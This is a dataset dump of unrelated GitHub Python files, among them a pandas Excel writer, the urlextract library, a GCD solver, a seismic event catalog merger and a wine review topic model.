{"seq_id":"71465434702","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time    : 10/28/22 18:12\n# @Author  : StevenL\n# @Email   : stevenl365404@gmail.com\n# @File    : 使用pandas把数据写入Excel文件.py\n\nimport pandas as pd\n\n\ndef writeDataIntoExcel(xlsPath: str, data_xls: dict):\n    writer = pd.ExcelWriter(xlsPath)\n    sheetNames = data_xls.keys()  # 获取所有sheet的名称\n    # sheets是要写入的excel工作簿名称列表\n    data_xls = pd.DataFrame(data_xls)\n    for sheetName in sheetNames:\n        data_xls.to_excel(writer, sheet_name=sheetName)\n    # 保存writer中的数据至excel\n    # 如果省略该语句，则数据不会写入到上边创建的excel文件中\n    writer.save()\n\n\nif __name__ == '__main__':\n    data = {\"name\": [\"lily\", \"ailcie\"], \"cost\": [100, 20]}\n    xls_path = \"/Users/stevenl/PycharmProjects/Python_new/json/result/3.xls\"\n    writeDataIntoExcel(xls_path, data)\n","repo_name":"TonySteven/Python","sub_path":"json/pandasExcel文件写入.py","file_name":"pandasExcel文件写入.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20535036073","text":"# 4 Напишите программу, которая по заданному номеру четверти, показывает диапазон возможных координат точек в этой четверти (x и y).\n\ndef get_quarter_number(input_text):\n    is_OK = False\n    while not is_OK:\n        try:\n            number = int(input(f\"{input_text}\"))\n            is_OK = True\n        except ValueError:\n            print(\"The value is not a number!\")\n    return number\n\ndef get_coord_range(num):\n    if num < 1 or num > 4:\n        print('Please, enter correct quarter number from 1 to 4 ')\n    elif num == 1:\n        print(\n            f'coordinates range in quarter {num} is: x > 0 and y > 0')\n    elif num == 2:\n        print(\n            f'coordinates range in quarter {num} is: x < 0 and y > 0')\n    elif num == 3:\n        print(\n            f'coordinates range in quarter {num} is: x < 0 and y < 0')\n    elif num == 4:\n        print(\n            f'coordinates range in quarter {num} is: x > 0 and y < 0')\n\nnum = get_quarter_number(\"Enter number of quarter \")\nget_coord_range(num)","repo_name":"kovaldos/basic-python","sub_path":"lesson01/hw-01-04.py","file_name":"hw-01-04.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6607905390","text":"N = int(input())\narr = list(map(int, input().split(' ')))\n\nresult = 0\ntemp = 0\ni = 0\nj = 1\nwhile i < N-1 and j < N:\n    if arr[i] < arr[j]:\n        temp = 0\n        i = j\n        j = i+1\n    else:\n        temp += 1\n        j += 1\n    if result < temp:\n        result = temp\n\nprint(result)\n","repo_name":"mouse0429/minython","sub_path":"BAEKJOON/14659.py","file_name":"14659.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29220941156","text":"# Simple prog to verify the origin of replication in Vibrio cholerae's genome\n\n\ndef main():\n\n\twith open('Vibrio cholerae.txt', 'r') as genomeFile:\n\t\twholeGenome = genomeFile.read().replace('\\n', '').upper()\n\n\twith open('Vibrio cholerae ori.txt', 'r') as oriFile:\n\t\tori = oriFile.read().replace('\\n', '').upper()\n\n\tif ori in wholeGenome:\n\t\tprint('Ori found on genome!')\n\telse:\n\t\tprint('Ori not found.')\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"CastleAf/BioInformatics-I","sub_path":"Week 1 - Intro/1.2 - Hidden Messages in the Replication Origin/Vibrio Cholerae/Vibrio cholerae.py","file_name":"Vibrio cholerae.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33277065792","text":"def accuracy(original_file, predictions_file):\n    df1 = pd.read_csv(original_file)\n    df2 = pd.read_csv(predictions_file)\n    original_high = 0\n    for item in df1['threat']:\n        if item == 'HIG':\n            original_high += 1\n    correct_high = 0\n    for index in range(len(df2['threat'])):\n        if df2['threat'][index] == df2['pred_threat'][index]:\n            correct_high += 1\n    acc = correct_high / original_high\n    print(acc)\n","repo_name":"mingjunlimgrab/youtubeScraper","sub_path":"Threat/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4930962228","text":"from mistral.lang import base\nfrom mistral.lang import types\n\n\nclass BaseSpec(base.BaseSpec):\n    _version = \"2.0\"\n\n    _meta_schema = {\n        \"type\": \"object\",\n        \"properties\": {\n            \"name\": types.NONEMPTY_STRING,\n            \"version\": types.VERSION,\n            \"description\": types.NONEMPTY_STRING,\n            \"tags\": types.UNIQUE_STRING_LIST\n        },\n        \"required\": [\"name\", \"version\"]\n    }\n\n\nclass BaseSpecList(base.BaseSpecList):\n    _version = \"2.0\"\n\n\nclass BaseListSpec(base.BaseListSpec):\n    _version = \"2.0\"\n","repo_name":"openstack/mistral","sub_path":"mistral/lang/v2/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":252,"dataset":"github-code","pt":"47"}
{"seq_id":"18235812516","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nurlextract.py - file with definition of URLExtract class and urlextract cli\n\n.. Created on 2016-07-29\n.. Licence MIT\n.. codeauthor:: Jan Lipovský <janlipovsky@gmail.com>, janlipovsky.cz\n.. contributors: Rui Silva\n\"\"\"\nimport os\nimport re\nimport string\nimport sys\nimport logging\nimport urllib.request\nimport warnings\nfrom datetime import datetime, timedelta\nfrom urllib.error import URLError, HTTPError\n\nimport idna\nimport uritools\n\nfrom version import __VERSION__\n\n\nclass CacheFileError(Exception):\n    \"\"\"\n    Raised when some error occurred regarding file with cached TLDs.\n    \"\"\"\n    pass\n\n\nclass URLExtract:\n    \"\"\"\n    Class for finding and extracting URLs from given string.\n\n    **Examples:**\n\n    .. code-block:: python\n\n        from urlextract import URLExtract\n\n        extractor = URLExtract()\n        urls = extractor.find_urls(\"Let's have URL example.com example.\")\n        print(urls) # prints: ['example.com']\n\n        # Another way is to get a generator over found URLs in text:\n        for url in extractor.gen_urls(example_text):\n            print(url) # prints: ['example.com']\n\n        # Or if you want to just check if there is at least one URL in text:\n        if extractor.has_urls(example_text):\n            print(\"Given text contains some URL\")\n    \"\"\"\n    # file name of cached list of TLDs downloaded from IANA\n    _CACHE_FILE_NAME = '.urlextract_tlds'\n\n    def __init__(self):\n        \"\"\"\n        Initialize function for URLExtract class.\n        Tries to get cached .tlds, if cached file does not exist it will try\n        to download new list from IANNA and save it to users home directory.\n\n        :raises: CacheFileError when cached file is not readable for user\n        \"\"\"\n        self._logger = logging.getLogger(__name__)\n        # get directory for cached file\n        dir_path = os.path.dirname(__file__)\n        if not os.access(dir_path, os.W_OK):\n            # get path to home dir\n            dir_path = os.path.expanduser('~')\n\n        # full path for cached file with list of TLDs\n        self._tld_list_path = os.path.join(dir_path, self._CACHE_FILE_NAME)\n        if not os.access(self._tld_list_path, os.F_OK):\n            if not self._download_tlds_list():\n                raise CacheFileError(\"Can not download list of TLDs.\")\n\n        # check if cached file is readable\n        if not os.access(self._tld_list_path, os.R_OK):\n            raise CacheFileError(\"Cached file is not readable for current \"\n                                 \"user. ({})\".format(self._tld_list_path))\n\n        # try to update cache file when cache is older than 7 days\n        if not self.update_when_older(7):\n            self._logger.warning(\n                \"Could not update file, using old version \"\n                \"of TLDs list. ({})\".format(self._tld_list_path))\n\n        self._tlds = None\n        self._tlds_re = None\n        self._reload_tlds_from_file()\n\n        host_re_txt = \"^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])$\"\n        self._hostname_re = re.compile(host_re_txt)\n\n        # defining default stop chars left\n        self._stop_chars_left = set(string.whitespace)\n        self._stop_chars_left |= {'\\\"', '\\'', '<', '>', ';'} | {'|', '@', '='}\n\n        # defining default stop chars left\n        self._stop_chars_right = set(string.whitespace)\n        self._stop_chars_right |= {'\\\"', '\\'', '<', '>', ';'}\n\n        # preprocessed union _stop_chars is used in _validate_tld_match\n        self._stop_chars = self._stop_chars_left | self._stop_chars_right\n\n        # characters that are allowed to be right after TLD\n        self._after_tld_chars = set(string.whitespace)\n        self._after_tld_chars |= {'/', '\\\"', '\\'', '<', '?', ':', '.', ','}\n\n    def _reload_tlds_from_file(self):\n        \"\"\"\n        Reloads TLDs from file and compile regexp.\n        \"\"\"\n        # check if cached file is readable\n        if not os.access(self._tld_list_path, os.R_OK):\n            self._logger.error(\"Cached file is not readable for current \"\n                               \"user. ({})\".format(self._tld_list_path))\n        else:\n            self._tlds = sorted(self._load_cached_tlds(),\n                                key=len, reverse=True)\n            re_escaped = [re.escape(str(tld)) for tld in self._tlds]\n            self._tlds_re = re.compile('|'.join(re_escaped))\n\n    def _download_tlds_list(self):\n        \"\"\"\n        Function downloads list of TLDs from IANA.\n        LINK: https://data.iana.org/TLD/tlds-alpha-by-domain.txt\n\n        :return: True if list was downloaded, False in case of an error\n        :rtype: bool\n        \"\"\"\n        url_list = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt'\n\n        # check if we can write cache file\n        if os.access(self._tld_list_path, os.F_OK) and \\\n                not os.access(self._tld_list_path, os.W_OK):\n            self._logger.error(\"ERROR: Cache file is not writable for current \"\n                               \"user. ({})\".format(self._tld_list_path))\n            return False\n\n        req = urllib.request.Request(url_list)\n        req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.0; '\n                                     'WOW64; rv:24.0) Gecko/20100101 '\n                                     'Firefox/24.0')\n        with open(self._tld_list_path, 'w') as ftld:\n            try:\n                with urllib.request.urlopen(req) as f:\n                    page = f.read().decode('utf-8')\n                    ftld.write(page)\n            except HTTPError as e:\n                self._logger.error(\"ERROR: Can not download list ot TLDs. \"\n                                   \"(HTTPError: {})\".format(e.reason))\n                return False\n            except URLError as e:\n                self._logger.error(\"ERROR: Can not download list ot TLDs. \"\n                                   \"(URLError: {})\".format(e.reason))\n                return False\n        return True\n\n    def _load_cached_tlds(self):\n        \"\"\"\n        Loads TLDs from cached file to set.\n\n        :return: Set of current TLDs\n        :rtype: set\n        \"\"\"\n\n        list_of_tlds = set()\n        with open(self._tld_list_path, 'r') as f:\n            for line in f:\n                tld = line.strip().lower()\n                # skip empty lines\n                if len(tld) <= 0:\n                    continue\n                # skip comments\n                if tld[0] == '#':\n                    continue\n\n                list_of_tlds.add(\".\" + tld)\n                list_of_tlds.add(\".\" + idna.decode(tld))\n\n        return list_of_tlds\n\n    def _get_last_cachefile_modification(self):\n        \"\"\"\n        Get last modification of cache file with TLDs.\n\n        :return: Date and time of last modification or\n                 None when file does not exist\n        :rtype: datetime|None\n        \"\"\"\n\n        try:\n            mtime = os.path.getmtime(self._tld_list_path)\n        except OSError:\n            return None\n\n        return datetime.fromtimestamp(mtime)\n\n    def update(self):\n        \"\"\"\n        Update TLD list cache file.\n\n        :return: True if update was successfull False otherwise\n        :rtype: bool\n        \"\"\"\n\n        if not self._download_tlds_list():\n            return False\n\n        self._reload_tlds_from_file()\n\n        return True\n\n    def update_when_older(self, days):\n        \"\"\"\n        Update TLD list cache file if the list is older than\n        number of days given in parameter `days`.\n\n        :param int days: number of days from last change\n        :return: True if update was successfull, False otherwise\n        :rtype: bool\n        \"\"\"\n\n        last_cache = self._get_last_cachefile_modification()\n        if last_cache is None:\n            return False\n\n        time_to_update = last_cache + timedelta(days=days)\n\n        if datetime.now() >= time_to_update:\n            return self.update()\n\n        return True\n\n    @staticmethod\n    def get_version():\n        \"\"\"\n        Returns version number.\n\n        :return: version number\n        :rtype: str\n        \"\"\"\n\n        return __VERSION__\n\n    def get_after_tld_chars(self):\n        \"\"\"\n        Returns list of chars that are allowed after TLD\n\n        :return: list of chars that are allowed after TLD\n        :rtype: list\n        \"\"\"\n\n        return list(self._after_tld_chars)\n\n    def set_after_tld_chars(self, after_tld_chars):\n        \"\"\"\n        Set chars that are allowed after TLD.\n\n        :param list after_tld_chars: list of characters\n        \"\"\"\n\n        self._after_tld_chars = set(after_tld_chars)\n\n    def get_stop_chars(self):\n        \"\"\"\n        Returns list of stop chars.\n\n        .. deprecated:: 0.7\n            Use :func:`get_stop_chars_left` or :func:`get_stop_chars_right`\n            instead.\n\n        :return: list of stop chars\n        :rtype: list\n        \"\"\"\n        warnings.warn(\"Method get_stop_chars is deprecated, \"\n                      \"use `get_stop_chars_left` or \"\n                      \"`get_stop_chars_right` instead\", DeprecationWarning)\n        return list(self._stop_chars)\n\n    def set_stop_chars(self, stop_chars):\n        \"\"\"\n        Set stop characters used when determining end of URL.\n\n        .. deprecated:: 0.7\n            Use :func:`set_stop_chars_left` or :func:`set_stop_chars_right`\n            instead.\n\n        :param list stop_chars: list of characters\n        \"\"\"\n\n        warnings.warn(\"Method set_stop_chars is deprecated, \"\n                      \"use `set_stop_chars_left` or \"\n                      \"`set_stop_chars_right` instead\", DeprecationWarning)\n        self._stop_chars = set(stop_chars)\n        self._stop_chars_left = self._stop_chars\n        self._stop_chars_right = self._stop_chars\n\n    def get_stop_chars_left(self):\n        \"\"\"\n        Returns set of stop chars for text on left from TLD.\n\n        :return: set of stop chars\n        :rtype: set\n        \"\"\"\n        return self._stop_chars_left\n\n    def set_stop_chars_left(self, stop_chars):\n        \"\"\"\n        Set stop characters for text on left from TLD.\n        Stop characters are used when determining end of URL.\n\n        :param set stop_chars: set of characters\n        :raises: TypeError\n        \"\"\"\n        if not isinstance(stop_chars, set):\n            raise TypeError(\"stop_chars should be type set \"\n                            \"but {} was given\".format(type(stop_chars)))\n\n        self._stop_chars_left = stop_chars\n        self._stop_chars = self._stop_chars_left | self._stop_chars_right\n\n    def get_stop_chars_right(self):\n        \"\"\"\n        Returns set of stop chars for text on right from TLD.\n\n        :return: set of stop chars\n        :rtype: set\n        \"\"\"\n        return self._stop_chars_right\n\n    def set_stop_chars_right(self, stop_chars):\n        \"\"\"\n        Set stop characters for text on right from TLD.\n        Stop characters are used when determining end of URL.\n\n        :param set stop_chars: set of characters\n        :raises: TypeError\n        \"\"\"\n        if not isinstance(stop_chars, set):\n            raise TypeError(\"stop_chars should be type set \"\n                            \"but {} was given\".format(type(stop_chars)))\n\n        self._stop_chars_right = stop_chars\n        self._stop_chars = self._stop_chars_left | self._stop_chars_right\n\n    def _complete_url(self, text, tld_pos, tld):\n        \"\"\"\n        Expand string in both sides to match whole URL.\n\n        :param str text: text where we want to find URL\n        :param int tld_pos: position of TLD\n        :param str tld: matched TLD which should be in text\n        :return: returns URL\n        :rtype: str\n        \"\"\"\n\n        left_ok = True\n        right_ok = True\n\n        max_len = len(text) - 1\n        end_pos = tld_pos\n        start_pos = tld_pos\n        while left_ok or right_ok:\n            if left_ok:\n                if start_pos <= 0:\n                    left_ok = False\n                else:\n                    if text[start_pos - 1] not in self._stop_chars_left:\n                        start_pos -= 1\n                    else:\n                        left_ok = False\n            if right_ok:\n                if end_pos >= max_len:\n                    right_ok = False\n                else:\n                    if text[end_pos + 1] not in self._stop_chars_right:\n                        end_pos += 1\n                    else:\n                        right_ok = False\n\n        complete_url = text[start_pos:end_pos + 1].lstrip('/')\n        # remove last character from url\n        # when it is allowed character right after TLD (e.g. dot, comma)\n        temp_tlds = tld.join(self._after_tld_chars)\n        # get only dot+tld+one_char and compare\n        if complete_url[len(complete_url)-len(tld)-1:] in temp_tlds:\n            complete_url = complete_url[:-1]\n\n        if not self._is_domain_valid(complete_url, tld):\n            return \"\"\n\n        return complete_url\n\n    def _validate_tld_match(self, text, matched_tld, tld_pos):\n        \"\"\"\n        Validate TLD match - tells if at found position is really TLD.\n\n        :param str text: text where we want to find URLs\n        :param str matched_tld: matched TLD\n        :param int tld_pos: position of matched TLD\n        :return: True if match is valid, False otherwise\n        :rtype: bool\n        \"\"\"\n        right_tld_pos = tld_pos + len(matched_tld)\n        if len(text) > right_tld_pos:\n            if text[right_tld_pos] in self._after_tld_chars:\n                if tld_pos > 0 and text[tld_pos - 1] \\\n                        not in self._stop_chars_left:\n                    return True\n        else:\n            if tld_pos > 0 and text[tld_pos - 1] not in self._stop_chars_left:\n                return True\n\n        return False\n\n    def _is_domain_valid(self, url, tld):\n        \"\"\"\n        Checks if given URL has valid domain name (ignores subdomains)\n\n        :param str url: complete URL that we want to check\n        :param str tld: TLD that should be found at the end of URL (hostname)\n        :return: True if URL is valid, False otherwise\n        :rtype: bool\n\n        >>> extractor = URLExtract()\n        >>> extractor._is_domain_valid(\"janlipovsky.cz\", \".cz\")\n        True\n\n        >>> extractor._is_domain_valid(\"https://janlipovsky.cz\", \".cz\")\n        True\n\n        >>> extractor._is_domain_valid(\"invalid.cz.\", \".cz\")\n        False\n\n        >>> extractor._is_domain_valid(\"invalid.cz,\", \".cz\")\n        False\n\n        >>> extractor._is_domain_valid(\"in.v_alid.cz\", \".cz\")\n        False\n\n        >>> extractor._is_domain_valid(\"-is.valid.cz\", \".cz\")\n        True\n\n        >>> extractor._is_domain_valid(\"not.valid-.cz\", \".cz\")\n        False\n\n        >>> extractor._is_domain_valid(\"http://blog/media/path.io.jpg\", \".cz\")\n        False\n        \"\"\"\n\n        if not url:\n            return False\n\n        scheme_pos = url.find('://')\n        if scheme_pos != -1:\n            url = url[scheme_pos+3:]\n\n        url = 'http://'+url\n\n        url_parts = uritools.urisplit(url)\n        # <scheme>://<authority>/<path>?<query>#<fragment>\n        host = url_parts.host\n        if not host:\n            return False\n\n        host_parts = host.split('.')\n        if len(host_parts) <= 1:\n            return False\n\n        host_tld = '.'+host_parts[-1]\n        if host_tld != tld:\n            return False\n\n        top = host_parts[-2]\n\n        if self._hostname_re.match(top) is None:\n            return False\n\n        return True\n\n    def gen_urls(self, text):\n        \"\"\"\n        Creates generator over found URLs in given text.\n\n        :param str text: text where we want to find URLs\n        :yields: URL found in text or empty string if no found\n        :rtype: str\n        \"\"\"\n        tld_pos = 0\n        matched_tlds = self._tlds_re.findall(text)\n\n        for tld in matched_tlds:\n            tmp_text = text[tld_pos:]\n            offset = tld_pos\n            tld_pos = tmp_text.find(tld)\n            validated = self._validate_tld_match(text, tld, offset + tld_pos)\n            if tld_pos != -1 and validated:\n                tmp_url = self._complete_url(text, offset + tld_pos, tld)\n                if tmp_url:\n                    yield tmp_url\n\n            tld_pos += len(tld) + offset\n\n    def find_urls(self, text, only_unique=False):\n        \"\"\"\n        Find all URLs in given text.\n\n        >>> extractor = URLExtract()\n        >>> extractor.find_urls(\"Let's have URL http://janlipovsky.cz\")\n        ['http://janlipovsky.cz']\n\n        >>> extractor.find_urls(\"Let's have text without URLs.\")\n        []\n\n        >>> extractor.find_urls(\"http://unique.com http://unique.com\", True)\n        ['http://unique.com']\n\n        >>> extractor.find_urls(\"Dot after TLD: http://janlipovsky.cz.\")\n        ['http://janlipovsky.cz']\n\n        >>> extractor.find_urls(\"URL https://example.com/@eon01/asdsd-dummy\")\n        ['https://example.com/@eon01/asdsd-dummy']\n\n        >>> extractor.find_urls(\"Get unique URL from: in.v_alid.cz\", True)\n        []\n\n        >>> extractor.find_urls(\"ukrainian news pravda.com.ua\")\n        ['pravda.com.ua']\n\n        :param str text: text where we want to find URLs\n        :param bool only_unique: return only unique URLs\n        :return: list of URLs found in text\n        :rtype: list\n        \"\"\"\n        urls = self.gen_urls(text)\n        urls = set(urls) if only_unique else urls\n        return list(urls)\n\n    def has_urls(self, text):\n        \"\"\"\n        Checks if text contains any valid URL.\n        Returns True if text contains at least one URL.\n\n        >>> extractor = URLExtract()\n        >>> extractor.has_urls(\"Get unique URL from: http://janlipovsky.cz\")\n        True\n\n        >>> extractor.has_urls(\"Clean text\")\n        False\n\n        :param text: text where we want to find URLs\n        :return: True if et least one URL was found, False otherwise\n        :rtype: bool\n        \"\"\"\n\n        return any(self.gen_urls(text))\n\n\ndef _urlextract_cli():\n    \"\"\"\n    urlextract - command line program that will print all URLs to stdout\n    Usage: urlextract [input_file] [-u] [-v]\n\n    input_file - text file with URLs to extract\n    \"\"\"\n    import argparse\n\n    def get_args():\n        \"\"\"\n        Parse programs arguments\n        \"\"\"\n        parser = argparse.ArgumentParser(\n            description='urlextract - prints out all URLs that were '\n                        'found in input file or stdin based on locating '\n                        'their TLDs')\n\n        ver = URLExtract.get_version()\n        parser.add_argument(\"-v\", \"--version\", action=\"version\",\n                            version='%(prog)s - version {}'.format(ver))\n\n        parser.add_argument(\n            \"-u\", \"--unique\", dest='unique', action='store_true',\n            help='print out only unique URLs found in file.')\n\n        parser.add_argument(\n            'input_file', nargs='?', metavar='<input_file>',\n            type=argparse.FileType(encoding=\"UTF-8\"), default=sys.stdin,\n            help='input text file with URLs to extract. [UTF-8]')\n\n        parsed_args = parser.parse_args()\n        return parsed_args\n\n    args = get_args()\n    logging.basicConfig(\n        level=logging.INFO, stream=sys.stderr,\n        format='%(asctime)s - %(levelname)s (%(name)s): %(message)s')\n    logger = logging.getLogger('urlextract')\n\n    try:\n        urlextract = URLExtract()\n        content = args.input_file.read()\n        for url in urlextract.find_urls(content, args.unique):\n            print(url)\n    except CacheFileError as e:\n        logger.error(str(e))\n        sys.exit(-1)\n    finally:\n        args.input_file.close()\n\n\nif __name__ == '__main__':\n    _urlextract_cli()\n","repo_name":"NecessitateApps/Summarizer","sub_path":"venv/Lib/site-packages/urlextract.py","file_name":"urlextract.py","file_ext":"py","file_size_in_byte":19563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72241207824","text":"\"\"\"\nConnor Taylor\nCompsci 320 Assignment1\nFinds the GCD for each line of intergers(up to 1000 integers)\n\"\"\"\n\nimport sys\n\ndef get_integers():\n    integer_string = str(sys.stdin.readline())\n    integers_list = integer_string.split()\n    if integers_list == [\"0\"]:\n        return False\n    else:\n        return integers_list\n\ndef euclidean_alg(a,b):\n    while b !=0:\n        (a,b) = (b, a % b)\n    return abs(a)\n\ndef main():\n    integers = get_integers()\n    if integers and len(integers) == 1:\n        print(\"The gcd of the integers is \",str(integers[0]),\".\", sep = \"\")\n        main()\n    elif integers:\n        start = int(integers[0])\n        second = 1\n        stop = len(integers)\n        while second != stop and start != 1:\n            start = euclidean_alg(start,int(integers[second]))\n            second += 1\n        print(\"The gcd of the integers is \", str(start),\".\", sep= \"\")\n        main()\n    else:\n        pass\n\nmain()\n","repo_name":"connor-john/Applied-Algorithmics","sub_path":"GreedyGCDProblem.py","file_name":"GreedyGCDProblem.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"74871690703","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 8 09:15:32 2020\n@author: atilapaes\n\nExtract events detected by both methods and keep the MW column from SRL catalog\n\"\"\"\n\nimport pandas\n\n# Catalog srl and treatment\ncatalog_srl_initial=pandas.read_csv('catalog_srl.csv') # Read file\ncatalog_srl_initial['datetime']=catalog_srl_initial['Date']+'T'+catalog_srl_initial['Time'] # Conpose a datetime format readable by pandas\ncatalog_srl_initial['datetime']=pandas.to_datetime(catalog_srl_initial['datetime']) #Convert the strings generated before in the datetime format used by Pandas\ncatalog_srl_initial.drop(catalog_srl_initial.index[2023:],inplace=True) #Used to process just the first part of the dataset (first round of injection)\ncatalog_srl_initial['source']='srl' # Creating a column to be label that will identify the sorce identification method\n    \n# Catalog ES and treatment\ncatalog_es_initial=pandas.read_csv('catalog_es.csv') # Read file\ncatalog_es_initial['datetime']=pandas.to_datetime(catalog_es_initial['datetime']) # Convert column with string of datetime to the format of Pandas datetime\ncatalog_es_initial['date']=catalog_es_initial['datetime'].dt.date # Get a column with date only\ncatalog_es_initial['source']='es' # Creating a column to be label that will identify the sorce identification method\n\n#%% Treatment of ES's catalog (there was some ducplicates)\ncatalog_es=catalog_es_initial[['datetime','source']].copy()\ncatalog_es.drop_duplicates(subset='datetime',inplace=True)\ncatalog_es.sort_values(by='datetime')#.reset_index()\n\n#%% Treatment of SRL's catalog\ncatalog_srl=catalog_srl_initial[['datetime','source','MW']].copy()\n\n#%% Merge, sort and reset index\ncatalog=pandas.concat([catalog_es,catalog_srl],ignore_index=True) #Concatenate the catalogs and ignore the index\ncatalog=catalog.sort_values(by='datetime') # Sort values based in date and time\n\ncatalog.reset_index(drop=True,inplace=True) # Reset index after sorting\n\ncatalog['double2drop']=False #Label for events identified by both methods\n\n# The criterium for considering two consecutives events as the same is that they delay is =< 1.5 seconds\nfor index in range(1,len(catalog)):\n    if (catalog.datetime[index] - catalog.datetime[index-1]) < pandas.Timedelta('1.5 second'):\n        \n        # On the duplicate events, mark the ones from ES for dropping, once they have no info about the Moment magnitude\n        # It is important to keep both conditions as independent  IFs\n        if catalog.source[index-1] =='es':\n            catalog.at[index-1,'double2drop'] = True # Labeling the ES event to drop later on\n        if catalog.source[index] =='es':\n            catalog.at[index,'double2drop'] = True # Labeling the ES event to drop later on\n        \n            \n        # Marking the source as double for both duplicate events (each one from one source)\n        catalog.at[index-1,'source'] = 'Both' # Labelingone of the duplicated as \"identified by both algorithms'\n        catalog.at[index,'source'] = 'Both' # Labelingone of the duplicated as \"identified by both algorithms'\n               \n\n# The conditions of the events I want to keep are 1) events identified by both methods, 2) events from SRL catalog (once they have the MW calculation done)\ncatalog=catalog[(catalog.source =='Both') & (catalog.double2drop ==False)] # Droping (1 of 2) duplicated events \ncatalog.reset_index(drop=True,inplace=True) #Reseting index for more readable catalog\n\ncatalog=catalog[['datetime','source','MW']] # Exporting just the datetime and source catalog of each event\n\n\n#%% Exporting the merged catalog\ncatalog.to_csv('catalog_double_with_MW.csv',sep=',',line_terminator='\\n',index=True)\n\n\n","repo_name":"atilapaes/PhD-PostDoc","sub_path":"Freq_MW/Proj01_catalog_merger_double_with_MW.py","file_name":"Proj01_catalog_merger_double_with_MW.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"32386124425","text":"from sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_distances\nfrom sklearn.feature_extraction import stop_words\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom sklearn.decomposition import NMF\nfrom nltk.corpus import stopwords\nfrom cleaning import Cleaning\nimport pandas as pd\nimport numpy as np\nimport time\nimport re\n\n\ndef tokenize(doc):\n    wordnet = WordNetLemmatizer()\n    return [wordnet.lemmatize(word) for word in word_tokenize(doc.lower())]\n\n\ndef find_top_words(matrix):\n    words = {}\n    for idx, __ in enumerate(matrix):\n        top_words = np.argsort(matrix[idx])[-10:][::-1]\n        top_words = tf_feature_names[top_words]\n        words[idx] = top_words\n    return words\n\n\ndef find_similar_wines(wine_title):\n    wine_idx = df[df['title'] == wine_title].index[0]\n    dists = cosine_distances(W, W)\n    top_wines = np.argsort(dists[wine_idx, :])[-10:][::1]\n    # top_wines = df.title[top_wines]\n    top_wines = df.loc[top_wines][['title', 'description', 'variety']]\n    return top_wines[1:]\n\n\nif __name__ == '__main__':\n    raw_data = '../data/winemag-data-190314.csv'\n    wine_title = 'Quinta dos Avidagos 2011 Avidagos Red (Douro)'\n    num_topics = 7\n\n    # Get clean data descriptions\n    cleaning = Cleaning(raw_data)\n    cleaning.CreateDataFrame()\n    cleaning.CleanDataFrame()\n    desc = cleaning.cleansed_data\n    df = cleaning.processed_data\n\n    # add morestop words\n    stop = list(stop_words.ENGLISH_STOP_WORDS)\n    additional_stop = ['ha', 'le', 'u', 'wa', 's', 't', 's', 'r',\n                       'ro', 'wine', 'flavor', 'aromas', 'finish',\n                       'palate', 'note', 'nose', 'drink', 'ofcut',\n                       'feeeling']\n    for val in additional_stop:\n        stop.append(val)\n    stop = frozenset(stop)\n\n    # create TF-IDF vector\n    tf_vect = TfidfVectorizer(stop_words=stop, tokenizer=tokenize)\n    tf = tf_vect.fit_transform(desc)\n    words = tf_vect.get_feature_names()\n    tf_feature_names = np.array(words)\n    print('Data featurized')\n\n    # create NMF model\n    start = time.time()\n    nmf = NMF(n_components=num_topics)\n    nmf.fit(tf)\n    W = nmf.transform(tf)\n    H = nmf.components_\n    stop = time.time()\n    print('Model created in ', stop-start)\n\n    # find top words in each topic\n    topic_words = find_top_words(H)\n    print(topic_words)\n\n    # find 10 wines similarly loaded to topics\n    find_similar_wines(wine_title)\n","repo_name":"vanessapolliard/which-wine","sub_path":"src/nmfwine.py","file_name":"nmfwine.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27926790374","text":"# In this program the user enters a starting\n# value, stopping value, and step\n# The program then counts up\n\n# Get inputs from user\nstart_num = int(input(\"Start?\"))\nstop_num = int(input(\"Stop?\"))\nstep = int(input(\"Change each time?\"))\n# Print the numbers\nfor num in range(start_num, stop_num+1, step):\n    print(num)","repo_name":"standrewscollege2018/2021-year-11-classwork-padams73","sub_path":"for_user_input.py","file_name":"for_user_input.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
